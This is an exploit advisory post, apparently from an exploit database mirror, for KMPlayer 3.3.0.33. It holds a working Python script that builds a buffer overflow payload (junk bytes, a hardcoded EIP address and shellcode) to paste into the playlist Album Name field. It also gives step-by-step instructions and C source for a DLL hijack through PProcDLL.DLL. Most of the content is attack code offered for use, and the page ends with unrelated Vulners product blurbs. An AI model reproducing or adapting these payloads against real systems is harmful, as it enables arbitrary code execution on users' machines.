# Exploit Title: The KMPlayer v3.3.0.33 Multiple Vulnerabilities
# Date: October, 26, 2012
# Discovered By: Mr.XHat
# Exploit Author: Mr.XHat
# E-Mail: Mr.XHat {AT} Gmail.com
# Vendor: http://www.kmplayer.com/
# Version: 3.3.0.33
# Tested On: WinXP SP3 EN
#########################
# Buffer Overflow Vulnerability:
junk = "\x41" * 250
eip = "\xD7\x30\x9D\x7C"
shellcode = (
"\x31\xC9\x51\x68\x63\x61\x6C\x63"
"\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
)
exploit = junk + eip + shellcode
file = open("Exploit.txt", "w")
file.write(exploit)
file.close()
# How To Do Exploit:
# First Run The KMPlayer And Get To Playlist > Playlist Editor... > Add New album Then Past Exploit Code To "Album Name:", Now Your Shellcode Will Executed!
############################################################################################################################################################
# DLL Hijacking Vulnerability:
# DLL Name: PProcDLL.DLL
# How To Do Hijack:
First Compile Below Source Code With C Compiler(s) And Rename Compiled DLL To PProcDLL.DLL Then Copy It To The KMPlayer Installed Path, Now If You Run The KMPlayer DLL Will Hijacked!
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_hijack();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_hijack()
{
MessageBox(0, "DLL Hijacked!", "Mr.XHat", MB_OK);
}
#
# Enjoys!
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation